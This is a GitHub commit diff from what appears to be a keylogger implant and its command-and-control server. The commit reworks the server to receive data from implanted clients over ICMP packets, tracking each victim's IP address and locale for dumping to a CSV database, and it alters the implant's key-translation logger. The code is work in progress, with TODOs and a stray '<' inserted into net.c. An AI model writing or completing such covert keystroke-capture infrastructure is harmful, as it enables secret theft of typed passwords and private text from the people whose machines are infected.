Skip to content

Commit c08eea7

Browse files
committed
wip(server): ICMP stack
1 parent cf97672 commit c08eea7

File tree

10 files changed

+86
-180
lines changed

10 files changed

+86
-180
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,4 @@
22
*.txt
33
server/server
44
implant/mzp
5+
.idea

implant/sources/logger.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ get_highest_fd(implant_t *instance) {
5858
static char *
5959
check_translated_key(char *key_desc) {
6060
for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
61-
if (!strcmp(KEYS[ctr].description, key_desc)) {
61+
if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
6262

6363
memset(key_desc, 0, STRING_BUFFER_SIZE);
6464
key_desc[0] = KEYS[ctr].representation;

implant/sources/net.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1+
<
22
/*
33
this file holds all of the functions needed for communicating with the
44
remote server

server/compile_flags.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

server/includes/server.h

Lines changed: 28 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,11 @@
2121

2222
#endif
2323

24+
25+
#ifndef STATIC_IP_ADDR
26+
#define STATIC_IP_ADDR ("0.0.0.0")
27+
#endif
28+
2429
#include <sys/queue.h>
2530
#include <sys/types.h>
2631
#include <unistd.h>
@@ -41,31 +46,43 @@ typedef struct translated_key {
4146
*/
4247
typedef struct client_state client_t;
4348
struct client_state {
44-
int sockfd;
49+
50+
/* if all client fields in server state are occupied,
51+
* we remove the eldest client. When it pings again,
52+
* we can remove another one
53+
*/
54+
unsigned long last_ping_timestamp;
4555

4656
char current_buffer[STRING_BUFFER_SIZE];
4757
ssize_t nb_bytes_in_buffer;
4858

4959
/* client metadata dumped in database */
50-
char uuid[STRING_BUFFER_SIZE];
51-
char name[STRING_BUFFER_SIZE];
5260
char ipaddr[STRING_BUFFER_SIZE];
53-
char linux_version[STRING_BUFFER_SIZE];
5461
char locale[STRING_BUFFER_SIZE];
5562

5663
TAILQ_ENTRY(client_state)
5764
clients;
5865
};
5966

67+
#define IP_LENGTH (40)
68+
#define ICMP_DATA_LENGTH (128) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
69+
70+
typedef struct icmp_packet {
71+
char addr[IP_LENGTH];
72+
int type;
73+
74+
char payload[ICMP_DATA_LENGTH];
75+
ssize_t payload_size;
76+
} icmp_msg_t;
77+
78+
6079
/* main server object */
6180
typedef struct server_state {
6281

6382
/* current clients */
6483
TAILQ_HEAD(listhead, client_state)
6584
clients;
6685

67-
int fdsize;
68-
6986
struct user_options {
7087
char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
7188
unsigned short listen_port;
@@ -87,20 +104,21 @@ typedef struct server_state {
87104
#define KEY_PRESSED 1
88105
#define KEY_RELEASED 0
89106

107+
#define MTU (1472)
108+
90109
// net.c
91110
int init_remote_connection(server_t *instance);
111+
int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg);
92112

93113
// lexxer.c
94-
int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
114+
int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
95115

96116
// csv.c
97117
int init_csv_dbfd(char const *filepath);
98118

99119
// loop.c
100120
void loop(server_t *instance);
101121
int should_gracefully_exit(int code);
102-
int get_fd_size(void);
103-
void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance);
104-
int check_new_connections(server_t *instance);
122+
105123

106124
#endif /* SERVER_H */

server/sources/csv.c

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,6 @@
55
- add optional support for sqlite (maybe at compile-time) with an option
66
- build little abstraction that will call the under-layered functions
77
underneath
8-
9-
simple layout will be:
10-
uuid, name, ip-addr, linux-version, locale, dump
118
*/
129

1310
#include <fcntl.h>

server/sources/lexxer.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ get_help(const char *bin_name) {
2424
printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
2525
}
2626

27-
int parse_cli_arguments(server_t *instance, int ac, char **av, __attribute__((unused)) char **envp) {
27+
int parse_cli_arguments(server_t *instance, const int ac, char **av, __attribute__((unused)) char **envp) {
2828

2929
int c = 0;
3030
int opt_idx = 0;

server/sources/loop.c

Lines changed: 27 additions & 152 deletions
Original file line numberDiff line numberDiff line change
@@ -14,183 +14,58 @@
1414
#include <unistd.h>
1515
#include "server.h"
1616

17-
/*
18-
- call select() to know which available (net) sockets are ready to
19-
do something
20-
- accept incoming connections if any & assign new socket for each
21-
- read from all available sockets
22-
- if new keys are dumped, lets get xkbcontext & read the new keys
23-
- check which items are to be stored in database
24-
- store it by bulk updates
25-
-> if anything fucks up at any point just trigger cleanup routine
26-
*/
27-
void loop(server_t *instance) {
28-
fd_set rs;
29-
fd_set ws;
30-
fd_set es;
3117

32-
struct timeval timeout = {
33-
.tv_usec = 5000,
34-
.tv_sec = 0};
18+
void loop(server_t *instance) {
3519

3620
int dbfd = init_csv_dbfd(instance->options.db_filepath);
37-
if (dbfd < 0)
21+
if (dbfd < 0 && instance->options.db_filepath[0] != 0)
3822
return;
3923

40-
instance->fdsize = get_fd_size();
4124
TAILQ_INIT(&instance->clients);
4225
while (should_gracefully_exit(0)) {
43-
if (check_new_connections(instance) == -1)
44-
break;
45-
46-
if (instance->fdsize == -1)
47-
break;
48-
49-
fdset_setup(&ws, &rs, &es, instance);
50-
if (select(instance->fdsize, &rs, &ws, &es, &timeout) < 0) {
51-
#ifdef DEBUG
52-
DEBUG_LOG("select: %s", strerror(errno));
53-
#endif
54-
break;
26+
27+
icmp_msg_t msg = {0};
28+
29+
/* poll for new packet */
30+
if (net_poll_icmp_recv(instance, &msg) < 0) {
31+
goto CLEANUP_ROUTINE;
5532
}
5633

34+
/* have we received a new message */
35+
if (msg.addr[0] == 0) {
36+
usleep(7500);
37+
continue;
38+
}
39+
40+
/* find related client in client-list, then update state */
5741
client_t *it = NULL;
42+
int found_client = 0;
5843
TAILQ_FOREACH(it, &instance->clients, clients) {
59-
60-
/*
61-
an error has happened, we should clean up the connection & dump
62-
last retrieved info to database
63-
*/
64-
if (FD_ISSET(it->sockfd, &es)) {
65-
// csv_mark_for_next_dump(dbfd, it);
66-
close(it->sockfd);
67-
TAILQ_REMOVE(&instance->clients, it, clients);
44+
if (strncmp(it->ipaddr, msg.addr, STRING_BUFFER_SIZE) == 0) {
45+
/* update state ! */
46+
found_client = 1;
6847
}
48+
}
49+
50+
/* no client found, find least active client & kick it. then, add it */
51+
if (!found_client) {
6952

7053

7154
}
7255

56+
7357
}
74-
}
7558

76-
void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance) {
77-
FD_ZERO(es);
78-
FD_ZERO(ws);
79-
FD_ZERO(rs);
59+
CLEANUP_ROUTINE:
8060

81-
client_t *it = NULL;
82-
TAILQ_FOREACH(it, &instance->clients, clients) {
83-
FD_SET(it->sockfd, es);
84-
FD_SET(it->sockfd, ws);
85-
FD_SET(it->sockfd, rs);
86-
}
87-
}
61+
/* TODO(djnn): dump all client state to database & close server */
8862

89-
int should_gracefully_exit(int code) {
90-
static int should_exit = 0;
9163

92-
if (code != 0 || should_exit) {
93-
#ifdef DEBUG
94-
DEBUG_LOG("[+] caught code: %d\n", code)
95-
#endif
96-
should_exit = 1;
97-
}
98-
return should_exit;
64+
close(dbfd);
9965
}
10066

10167
static void
10268
sig_handler(int code) {
10369
if (code == SIGINT)
10470
should_gracefully_exit(code);
10571
}
106-
107-
int check_new_connections(server_t *instance) {
108-
fd_set rs, es;
109-
struct timeval timeout = {
110-
.tv_usec = 5000,
111-
.tv_sec = 0};
112-
113-
FD_ZERO(&rs);
114-
FD_ZERO(&es);
115-
116-
FD_SET(instance->sockfd, &rs);
117-
FD_SET(instance->sockfd, &es);
118-
119-
/* only 1 socket */
120-
int status = select(2, &rs, NULL, &es, &timeout);
121-
if (status == -1 || FD_ISSET(instance->sockfd, &es)) {
122-
#ifdef DEBUG
123-
DEBUG_LOG("[+] select error: %s\n", strerror("select"));
124-
#endif
125-
return -1;
126-
} else if (status == 0) {
127-
return 0;
128-
}
129-
130-
if (FD_ISSET(instance->sockfd, &es)) {
131-
/* add new connection to clients list */
132-
133-
client_t *client = malloc(sizeof(client_t));
134-
if (!client) {
135-
#ifdef DEBUG
136-
DEBUG_LOG("[+] malloc error: %s\n", strerror("malloc"));
137-
#endif
138-
return -1;
139-
}
140-
141-
memset(client, 0, sizeof(client_t));
142-
client->sockfd = accept(instance->sockfd, NULL, NULL);
143-
if (setsockopt(
144-
client->sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &(int){1},
145-
sizeof(int)) < 0) {
146-
return -1;
147-
}
148-
149-
instance->fdsize = get_fd_size();
150-
TAILQ_INSERT_TAIL(&instance->clients, client, clients);
151-
}
152-
153-
return 0;
154-
}
155-
156-
int get_fd_size(void) {
157-
158-
const char fdsize[] = "FDSize:";
159-
char buf[4096] = {0};
160-
int statfd = open("/proc/self/status", O_RDONLY);
161-
162-
if (statfd < 0) {
163-
#ifdef DEBUG
164-
DEBUG_LOG("open statfd: %s", strerror(errno));
165-
#endif
166-
167-
return -1;
168-
}
169-
170-
const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
171-
if (num_read <= 0) {
172-
#ifdef DEBUG
173-
DEBUG_LOG("read statfd: %s", strerror(errno));
174-
#endif
175-
176-
return -1;
177-
}
178-
179-
buf[num_read] = '\0';
180-
close(statfd);
181-
182-
const char *fdsize_ptr = strstr(buf, fdsize_ptr);
183-
if (!fdsize_ptr)
184-
return 256;
185-
186-
for (const char *char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr) {
187-
if (isspace(*char_ptr))
188-
continue;
189-
else if (*char_ptr == 0)
190-
return 256;
191-
192-
return atoi(char_ptr);
193-
}
194-
195-
return 256;
196-
}

server/sources/main.c

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
#include <unistd.h>
33
#include "server.h"
44

5-
int main(int ac, char **av, char **envp) {
5+
int main(const int ac, char **av, char **envp) {
66

77
server_t srv = {0};
88

@@ -18,5 +18,6 @@ int main(int ac, char **av, char **envp) {
1818
DEBUG_LOG("[+] socket initiated....preparing DB connection");
1919
#endif
2020

21-
srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
21+
loop(&srv);
22+
return 0;
2223
}

0 commit comments

Comments
 (0)